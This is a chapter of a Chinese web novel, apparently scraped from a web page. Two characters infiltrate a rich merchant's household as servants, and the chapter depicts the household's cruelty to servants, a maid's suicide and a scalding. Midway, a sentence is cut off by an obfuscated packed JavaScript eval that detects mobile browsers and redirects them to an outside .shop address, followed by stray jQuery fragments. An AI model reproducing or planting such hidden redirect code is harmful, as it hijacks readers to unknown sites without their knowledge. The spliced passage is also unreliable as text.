谢净撩开帘子招呼陈洺芷下马车,依旧是他牵着陈洺芷的手下车。
衣襟相贴,陈洺芷在他身上闻到了厚重的血腥味,哪怕谢净已经重新换了一身衣裳,血腥味也盖不住。
陈洺芷闻着这味道,心里也紧张起来。
人生地不熟,她免不得谨小慎微。
马车无法前行,谢净便栓了马,找了个清静地把车停靠,二人带着各自的行囊朝李府走。
通州李家是靠丝绸起家的富商,南部丝绸生意其几乎独占,隔着半条街,李家院内的脂粉香气便飘到了陈洺芷鼻子里。
待到走到角门,李家景致便瞧得更清楚。
从门楣到府内摆设,无一不极尽奢华,各色陈洺芷叫不上名字的珊瑚碧树、亭台楼阁在日光下熠熠生辉,哪怕是下人进出的角门,也装饰得金碧辉煌,这排场,哪怕是苏子滢的郡主府也差几分。
李家每月都会从牙婆处买些奴仆进府充当杂役,今日便又是杂役们进府的日子,苏子滢安排他们今日抵达,便也是为了让他们好和平常下人一起混入府中。
角门处已经挤满了牙婆和下人,一群人身着粗布麻衣,摩肩擦踵着,空气里弥漫着一股酸臭味,陈洺芷不由得皱了皱鼻子。
管事的并没有出来,角门只余一个门房接纳这些新来的仆从。
门房从牙婆子手里接过名册,随意翻了几下就又把名册扔了回去,叉着腰,吸了一口鼻涕,扯着嗓门喊:“都记清楚了,以后你们就是李府的下人了,进出只能从这角门走,侧门正门都是主子们走得,别给我出岔子!”
那模样,神气极了。
明明只是比这些下人的地位稍微高了一些,便如此颐指气使。
“行了行了,你们从这小门进去,管家便在院里了,他会给你们各自派活,都好好干!”
门房把半开的角门彻底打开,拥挤在门外的杂役们便缓缓进入府内。
下人们大多是辗转过多个主家后来到李府的,都是老人了,行走时步子小心谨慎,头也微微低着,只有陈洺芷第一次进到富商的府邸,颇为新奇地四处张望。
不远处的角楼上立着李府的管家,管家年岁颇高,脸上已经爬满了皱纹,眼睛深深地眯着,俯视着角楼下新入府的下人,扫了一圈人流后,他的目光锁在了陈洺芷身上。
年轻,漂亮,这正是老爷喜欢的女子。
微微侧身,苍老尖锐的声音传来,他嘱咐一旁的下人:“那个兴致极高的,便送到老爷房内当伴读,正巧原来的那个春草近日惹老爷不喜,日后便让她顶上。”
记名的人低头应下。
偏陈洺芷对此未曾察觉,仍四处打量着李府。
谢净一直跟在陈洺芷身边,总觉得心神不宁,但他又找不到由头。
眼看着新入府的下人逐渐聚齐,角楼上的管家终于发话。
“进了李府,就要守李府的规矩,既然是做下人的,便都谨慎行事,主子让你跪就跪,主子打你你就给笑脸,李府可不同于别家,容你们懈怠偷懒,若是有半天不讨人喜欢,那是要掉脑袋的!”
下人们纷纷噤声,陈洺芷被这氛围影响,也不再乱打量,抱着袖子低下头来。
一旁的谢净伸出手拉了拉她,低语:“我总觉得,这李府极为古怪。”
陈洺芷侧头看了他一眼,示意他继续说下去。
“寻常世家府邸,是不会像李府这般频繁引下人入府的,若是有新杂役进府,也是要按着名册一项项盘问清楚的,但是你想,我们进府的时候,除了门房交代了几句,便再无其他吩咐。”
陈洺芷思索了一下,确实是如此。
她小声问道:“你的意思是?”
谢净垂下眼,语气沉沉:“李府如此频繁引下人进来,极大可能是因为主家有问题。”
谢净皱着眉头,想再说些什么,可此时不远处的庭院里却传来一声刺耳的尖叫。
陈洺芷被这尖叫吓了一跳,抬起头往出声的地方望去,正瞧见两个脚夫抬着个担子走到角楼下,朝角楼上的管家说:“管事,老爷院里的春草,刚刚自缢了!”
陈洺芷踮起脚,在攒动的人头里看清了躺在担子上的女人。
那是个瘦小的伴读,浑身上下都是青紫,似乎是被棍棒打出来的,脖颈处有一道青色的勒痕,想必是自缢留下的。
那女人面色憔悴,眼下一片乌青,不知生前在这府里吃了多少苦头。
陈洺芷只是扫了一眼,就被吓得连连后退。谢净伸手把她拉到身边,微微抬头看着角楼上的管事。
管家面色如常,似乎已经见过无数个这样的下人死在自己眼下了,轻轻挥挥手,“死了便死了,找个草席裹着,扔到乱葬岗去罢。”
陈洺芷捂住嘴巴,胃里一阵翻涌。
怪不得李府月月都要引新的下人进府,原来是这府邸本就是吃人不吐骨头、视人命如草芥的地方!
其他下人也被这场景吓了一跳,一时间,角楼下传来一阵窃窃私语。
李府管事见到这情形,皱了皱眉头,呵斥道:“都闭嘴!”
他从角楼上缓缓走下来,下人纷纷侧身给他让出一条行走的路来。
“不过死了个婢女,一个个大惊小怪作甚?”
他顺着下人们让出来的小道行走在他们之间,锐利的眼光落在每个下人身上,让大家都止不住缩着脖子。
“不过,既然死了个春草,便要从你们中间选个婢女替上去。”
管事的的目光越过一众女人,最终落到陈洺芷身上,便径直朝她走去。
眼见得管家走得离陈洺芷越来越近,她的手心冒出了冷汗,强逼着自己把头低下去。
哪知下一刻,管家便停在了她面前。
“就你了。”
陈洺芷缓缓抬头,与那双浑浊的眼睛对视,心头一颤。
怎能如此霉气?
她指指自己,声音有些抖:“我吗?”
管家瞪她一眼,“哪来那么多废话,除了你还是谁?”
管事朝身边人使了个眼色,便有下人来拉着陈洺芷去更衣。
她喉咙发紧,不知该如何是好时,谢净在身后拉了她一把。
“且慢。”
听到谢净的声音,管事的回头看着他,面色不悦,“你有事?”
谢净看了一眼陈洺芷,不卑不亢道:“能否让我和她一起去老爷院里做活?”
管家皱了皱眉头,“你和她是什么关系?”
陈洺芷心头一沉,不知谢净该作何回答。
他们并非血亲,彼此认识也不过……
“她是我的妻子。”
陈洺芷还在思索的时候,谢净已经脱口而出了。
“什么?”
管家并未听清,问出了陈洺芷同样想问的话。
谢净不紧不慢,抓住陈洺芷的手腕,摩挲了一下她的腕骨,最后手指下移,和她十指相扣。
又重复了一遍:“她是我的妻子。”
陈洺芷几乎不敢相信自己的耳朵,脸颊瞬时热了起来,偷偷扫了谢净一眼,却看到他眼里带笑,嘴角扬起一个克制的弧度。
陈洺芷简直是要慌了神。
手心的温度并未消散,谢净的掌纹带着他身上的温度,让陈洺芷的心跳格外快。
管事的看到他俩这样,也没有再刁难,反而十分豁达地点了点头,“既然如此,你便去做老爷的院外值守,夫妻二人两相配合,倒是不错。”
嘴上这么说着,可背过身去,他的脸色即刻变得阴冷。
老爷的性子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720602|208621||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阴晴不定,他伺候了这么多年也没摸清楚,府里的下人一旦出差错就会被百般折辱,平日死个两三个是常有的事,这对既是夫妻,又如此不愿分离,把他们派到老爷那边让老爷折磨一番也是极好的。
眼见着管事的走远,陈洺芷摇摇手腕,试图把自己的手从谢净手里抽出来,可谢净竟攥着她的手不松开,哪怕被陈洺芷瞪着,也一副死猪不怕开水烫的模样。
陈洺芷低语:“你非要和我待在一起干什么?”
谢净垂眼,“我怕你被欺负,若是告诉他们我们是夫妻,便不会让我们隔得太远,我就可以照看你了。”
陈洺芷没法子反驳,脸热得厉害,心也是。
她不知道自己这般是为何。
管家后来给新来的下人都分好了活计,代大伙都穿上统一的杂役服装后,便被各自遣散去做活了。
谢净是正院的院外值守,陈洺芷则在正院内伴读,两人不过一墙之隔。
被管家领进正院的时候,谢净已经收拾好在院外站定了。
他一身利落的短衫短袍,长发高高束起,瞧上去清爽又英气。
从他身边经过时,陈洺芷不由得扫了他一眼,正好和谢净对上眼神,她立马将脸又转了回来,脸颊温热。
李府的主人名叫李恭言,是大房嫡出的公子,也是沈妍的夫婿。
引陈洺芷进正院的管事告诉她此刻李恭言正在书房,陈洺芷初来乍到,便要去侍奉他读书。
被引到书房,她小心翼翼地推门进去,几案旁正坐着一高大男子,想必就是李恭言了。
陈洺芷低垂着眉眼向他行礼,哪知这人并未抬头,挥手示意她起身。
陈洺芷颇为忐忑地站了起来,不敢四处打量,仍是低着头等候吩咐。
见她这谨小慎微的模样,李恭言轻笑道:“叫什么名字?”
陈洺芷老实地报上姓名。
“倒是个好名字。”
李恭言的眼睛锁在她身上,继续问:“你是替之前那个春草的?”
陈洺芷答是。
“嗯,既然是伴读,来写几个字吧。”
听到这话,陈洺芷抬头看了一眼苏子滢口中那个极为暴戾的李家公子。
他长得并不差,此时脸上还带着笑意,可却让陈洺芷觉得他皮笑肉不笑,周身发冷。
李恭言起身让出个位置来,用眼神示意陈洺芷坐到几旁执笔写字。
陈洺芷不知道这位是何用意,但被那种阴冷的眼神看着,她只能硬着头皮坐了下来,提起毛笔在宣纸上缓慢写了几个大字。
李恭言不喊停,她便不敢搁置下毛笔,心惊胆战地写着字,生怕哪里惹他不悦。
她低头描摹着几案上的贴文,不敢停歇,直到她的手腕酸痛之时,李恭言终于出声叫停了她。
李恭言垂眼看了一眼她写的字,并未作评价,只是拎起一旁的茶壶,自顾自地倒了一盏茶。
这茶刚刚煮沸,眼下还冒着热气,寻常人是不会喝的,可李恭言却将一盏沸茶一饮而尽,连眉头都没皱。
喝完这一盏,他又续了一盏,只不过这次他并没有一饮而尽而是边把玩着茶盏边低头观摩陈洺芷写的字。
“很好。”
她听见他说。
“一个女子能写出这样的字,实属不易。”
陈洺芷听到这话,松了一口气。
可是下一刻,她执笔的手突然被李恭言紧紧抓了起来,力度大到陈洺芷几乎要哭出来。
李恭言死死地盯着她的手,眯了眯眼,“当真是一双漂亮的手。”
“只是,我更好奇,若是沸茶落在你这双手上,你还能写出这等好字吗?”
没等陈洺芷反应,方才被李恭言把玩的那盏沸茶就被他泼到了陈洺芷手上。